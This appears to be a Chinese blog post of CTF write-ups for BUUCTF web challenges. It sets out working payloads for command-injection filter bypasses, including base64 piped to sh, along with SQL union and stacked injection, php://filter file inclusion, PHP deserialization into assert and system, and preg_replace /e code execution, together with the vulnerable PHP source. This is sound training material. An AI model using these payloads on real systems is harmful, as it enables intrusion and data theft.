buu练习

Posted on | In

前言

考前放松心情，就多刷点题。之前已经提到了一些题目了，这里就不会重复了。

[GXYCTF2019]Ping Ping Ping

页面进来就是告诉我们GET一个ip参数进去，那我们自然猜想这里要用到堆叠注入，构造payload：

1
2
3
4
5
?ip=1;ls

PING 1 (0.0.0.1): 56 data bytes
flag.php
index.php

发现flag文件，直接cat读取，发现空格被过滤，再用括号发现也被过滤，看来是过滤了很多东西，那么我们可以采用其他手段绕过：

  • $IFS
  • ${IFS}
  • $IFS$1
  • <
  • <>
  • {cat,flag.php}
  • %20
  • %09
  • 如果这里cat被过滤了可以用tac代替

这些是常用的绕过空格手段，但想读取flag发现flag也被过滤了，好家伙，那我们先读取index.php查看源码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "";
  print_r($a);
}

?>

法一

虽然被过滤了很多东西，但是我们发现有个$a可以给我们利用，那么这里第一种解法就是运用变量替换：

1
?ip=1;a=g;cat$IFS$1fla$a.php

查看源码拿到flag：

法二

不需要什么花里胡哨的，直接内联执行：

1
?ip=2;cat$IFS$1`ls`

法三

用管道+sh来绕过被过滤的bash。首先将cat flag.php命令进行base64编码，接着进行读取：

1
?ip=3;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

这张图总结了一些常用通配符：

总之，在做类似题目时的大致解法如下：

1
2
3
4
5
6
7
8
9
10
11
cat fl*  用*匹配任意 
ca\t fla\g.php        反斜线绕过
cat fl''ag.php        两个单引号绕过
echo Y2F0IGZsYWcucGhw | base64 -d | bash(sh)      
//base64编码绕过  管道符(|)会把前一个命令的输出作为后一个命令的参数
echo 63617420666c61672e706870 | xxd -r -p | bash(sh)         
// hex编码绕过，原理同上
cat fl[a]g.php       用[]匹配
a=fl;b=ag;cat $a$b          变量替换
cp fla{g.php,G}    把flag.php复制为flaG
ca${21}t a.txt     利用空变量  使用$*和$@，$x(x 代表 1-9),${x}(x>=10)(小于 10 也是可以的) 因为在没有传参的情况下，上面的特殊变量都是为空的

[ACTF2020 新生赛]BackupFile

这题其实挺简单的，写下来主要是为了提醒自己：

  1. 拿到题记得扫目录
  2. php的==是弱比较，在比较时字符串和数字进行比较时，会先将字符串转换成数字再进行比较

这题的源码：

1
2
3
4
5
6
7
8
9
10
11
if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}

因此，这里只需要让key=123就可以绕过了。

[GXYCTF2019]BabySQli

这题也算是比较奇特的一题sql吧，记录一下。

前端是相当简陋了，我们试着注入一下，发现在验证的search.php下源码有一段注释，进行base32、base64解密后如下：

1
select * from user where username = '$name'

说明注入点是在username这里没跑了，但是经过测试，这关过滤了or、()和等号，没了这三个东西，尤其是小括号后常规注入思路肯定就不行了，因此这题必须得结合源码审计：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
// echo $sql;
$result = mysqli_query($con, $sql);


if(preg_match("/\(|\)|\=|or/", $name)){
	die("do not hack me!");
}
else{
	if (!$result) {
		printf("Error: %s\n", mysqli_error($con));
		exit();
	}
	else{
		// echo '<pre>';
		$arr = mysqli_fetch_row($result);
		// print_r($arr);
		if($arr[1] == "admin"){
			if(md5($password) == $arr[2]){
				echo $flag;
			}
			else{
				die("wrong pass!");
			}
		}
		else{
			die("wrong user!");
		}
	}
}

我们发现，后端接收到账号密码后，直接将账号作为查询条件查询，查询出来的结果第二项必须为admin，第三项必须为原密码md5后的密码。这里我们可以利用联合查询的特性，先查询1这个原本不存在的一行，接着多出一段联合查询字段作为临时数据插入。

因此，构建payload：

1
name=mrl64'union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#&pw=1

[GYCTF2020]Blacklist

典型的堆叠注入，直接一路show语句查询到列：

1
2
3
4
1';show databases;#  //查库
1';show tables from supersqli;# //查表
1';show columns from FlagHere;# //查列
1';select flag from FlagHere;# //查数据

发现列名flag，但是当我准备查询时，发现select被过滤了：

一片都被过滤了，这里我们用到了handler：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// 打开一个表名为 tbl_name 的表的句柄
HANDLER tbl_name OPEN [ [AS] alias]

1、通过指定索引查看表，可以指定从索引那一行开始，通过 NEXT 继续浏览
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]

2、通过索引查看表
FIRST: 获取第一行（索引最小的一行）
NEXT: 获取下一行
PREV: 获取上一行
LAST: 获取最后一行（索引最大的一行）
  HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
      [ WHERE where_condition ] [LIMIT ... ]

3、不通过索引查看表
READ FIRST: 获取句柄的第一行
READ NEXT: 依次获取其他行（当然也可以在获取句柄后直接使用获取第一行）
最后一行执行之后再执行 READ NEXT 会返回一个空的结果
  HANDLER tbl_name READ { FIRST | NEXT }
      [ WHERE where_condition ] [LIMIT ... ]

//关闭已打开的句柄
HANDLER tbl_name CLOSE

由于这里我们知道flag在第一列，因此我们构建payload：

1
?inject=1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#

[BSidesCF 2020]Had a bad day

发现点击WOOFERS或者MEOWERS后，URL出现了category参数，想到利用伪协议读取源码：

1
?category=php://filter/convert.base64-encode/resource=index

如果读取index.php失败的话可以尝试读取index，这题就是这样的。

base64解码获得的源码(php部分)：

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
	$file = $_GET['category'];

	if(isset($file))
	{
		if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
			include ($file . '.php');
		}
		else{
			echo "Sorry, we currently only support woofers and meowers.";
		}
	}
?>

发现这题要求参数中要有woofers、meowers、index才可以运行，那么我们首先尝试直接读取：

1
?category=woofers/../flag

发现查看器中出现了新内容，说明包含flag.php成功，但是需要进一步读取。因此我们利用php://filter伪协议可以套一层协议的特性构建payload：

1
?category=php://filter/convert.base64-encode/index/resource=flag

同样如果flag.php不行时可以用flag或者flag.txt进行尝试，这题是flag

读取到新的base64码，解码就可以得到flag：

[NPUCTF2020]ReadlezPHP

查看前端代码发现有文件time.php/?source，进入发现反序列化代码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]);

HelloPhp类型启动时将Y-m-d h:i:s赋值给$a，将date赋值给$b，之后结束类型时执行echo $b($a)，那么在这里就是执行echo date(Y-M-D h:i:s)。

那么我们就可以利用这个性质，构造assert(phpinfo())。assert()与eval()类似，这两者的区别是，前者会把整个字符串参数当做php代码执行，而后者只会把合法的php代码执行，因此我们构建payload：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "phpinfo()";
        $this->b = "assert";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp; 
echo serialize($c);
?>

?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

最后在phpinfo中查找flag即可：

[网鼎杯 2020 青龙组]AreUSerialz

开门见码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

审计完毕后我们发现有两个地方需要绕过：

  • is_valid()会判断字符中是否存在不可打印字符，如果不存在才会返回true，而protected属性的变量在进行序列化时会产生不可打印字符，因此这里将变量属性设置为public即可
  • 只有当op的值为2时才会转到read()中执行file_get_contents($this->filename)代码，但是在__destruct()中如果检测到op强类型等于2的话将会转化为1，这里涉及到的是强弱类型的比较，将op设定为整数2就可以绕过：
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    <?php
    class FileHandler {
        public $op = 2;
        public $filename = "flag.php";
        public $content;
    }
    $a=new FileHandler;
    echo serialize($a);
    ?>

    ?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
    查看源码即可获取flag：

[网鼎杯 2020 朱雀组]phpweb

前端一直在刷新，我们抓包试试，发现POST内容：

1
func=date&p=Y-m-d+h%3Ai%3As+a

通过这个我们猜测后端代码类似于是这样的：

1
assert($func(&p))

但是我们常使用system()写入命令时，发现被过滤了，那么我们首先读取源码：

1
func=file_get_contents&p=index.php

源码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

使用的是call_user_func()，本质上没有太大差别。我们发现后端对func进行了严格过滤，但是p没有，并且存在class定义类型，那么就不难想到构建反序列化：

1
2
3
4
5
6
7
8
9
10
<?php
class Test {
    var $p = "find / -name flag*";
    var $func = "system";
}
$a=new Test;
echo serialize($a);
?>

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}

找到flag位置，继续构建：

1
2
3
4
5
6
7
8
9
10
<?php
class Test {
    var $p = "cat /tmp/flagoefiu4r93";
    var $func = "system";
}
$a=new Test;
echo serialize($a);
?>

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

[ZJCTF 2019]NiZhuanSiWei

这题运用到了php伪协议和反序列化的知识点，解题过程也是比较巧妙地。首先是源码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

根据源码，这题我们应该要传三个参数，首先是text参数，我们要将welcome to the zjctf写入文件中，那不难想到这里运用了data伪协议进行写入：

1
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

跳转到新的页面，接下来是file参数，发现审计源码这里有一个文件包含，且提示一个useless.php，我们尝试直接包含发现什么都没有，那同样这里利用php://filter伪协议进行读取：

1
file=php://filter/read=convert.base64-encode/resource=useless.php

得到base64码，解码后得到又一段源码：

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>

发现class新建类，审计发现是用file_get_contents()读取$file，那么我们构建反序列化：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php  

class Flag{  //flag.php  
    public $file="flag.php";  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  

$a=new Flag;
echo urlencode(serialize($a));
?>  

password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最后我们整合payload，打开f12，得到flag：

1
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

[BJDCTF2020]ZJCTF，不过如此

显示代码审计：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>

用php://input或者data伪协议绕过file_get_contents()，发现文件包含，使用php://filter读取，构建payload：

1
?file=php://filter/read=convert.base64-encode/resource=next.php&text=data://text/plain,I have a dream

接着读取next.php中的源码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

这里我们要绕过preg_replace()来读取getFlag()函数，绕过方法可以参考这篇博客：
Preg_Replace代码执行漏洞解析

通过那篇博客提供的思路，我们构建payload：

1
2
3
4
/next.php?\S*=${getflag()}&cmd=system('ls /');
/next.php?\S*=${getflag()}&cmd=system('cat /flag');

flag{86010810-34fc-4e22-ae9c-3efaf2b0ffe3} system('cat /flag');